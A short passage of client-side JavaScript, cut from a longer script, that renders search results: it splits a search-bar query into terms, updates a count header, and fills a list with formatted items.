const docs=data, q=bar.value.trim(), terms=q.split(/\s+/).filter(Boolean);
header.textContent=metric(docs.length,q);
clear(list);
docs.forEach(d=>{const li=document.createElement('li'); li.innerHTML=format(d,terms); list.appendChild(li);});
listOut.classList.toggle('hidden',!docs.length);
};
})();